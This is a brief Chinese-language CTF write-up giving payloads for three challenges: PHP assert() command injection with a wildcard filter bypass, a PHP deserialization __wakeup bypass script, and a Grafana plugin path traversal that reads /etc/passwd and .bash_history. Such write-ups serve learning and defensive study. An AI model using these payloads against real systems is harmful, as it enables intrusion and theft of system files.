404页面:
url+404/
命令执行:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if($_GET['c'] === "flag"){ 如果 c=flag 的话,会看到 flag.php 文件
highlight_file("flag.php");
}
if(!preg_match("/flag/i", $c)){ 正则匹配过滤 flag 字符
$page = $_GET['c'];
}
assert("file_exists('$page')"); assert 函数
}else{
highlight_file(__FILE__);
}
?>
利用assert函数的特性,实现命令执行
assert函数里面的参数为字符串时,会将字符串当做php命令来执行。
assert('phpinfo()')=<?php phpinfo()?>
构造闭合函数,使 assert 函数执行系统命令
为还过滤了 flag 字符,使用?匹配符绕过
Payload:
?c=1') or system('ls
?c=1') or system('cat fla?.txt
反序列化
construct():构造函数/方法,是类中的一种特殊函数,当使用 new 关键字实例化一个对象时,构造函数将会自动调用
wakeup( )函数是在 php 在使用反序列化函数 unserialize()时,会自动调用的函数,只要序列化的中的成员数大于实际成员数,即可绕过
destruct()函数是在对象被销毁时才会被调用,可以注意到flag.php文件,需password=666绕过第一个if,username等于usernames才能够输出flag文件;
参数需要进行 base64 加密
Payload:
<?php
class Name{
private $username = ‘usernames’;
private $password = ‘666’;
}
$select = serialize(new Name());
$select = str_replace(‘:2:’,’:3:’,$select);
echo base64_encode($select);
grafana漏洞
抓包根据漏洞的原理,构造 payload 路径,进行任意文件读取
/public/plugins/alertlist/../../../../../../../../../etc/pa
sswd
看到系统的配置文件,存在哪些用户
linux 的历史记录文件.bash_history
构造 payload:
/public/plugins/alertlist/../../../../../../../../../home/grafana/.bash_history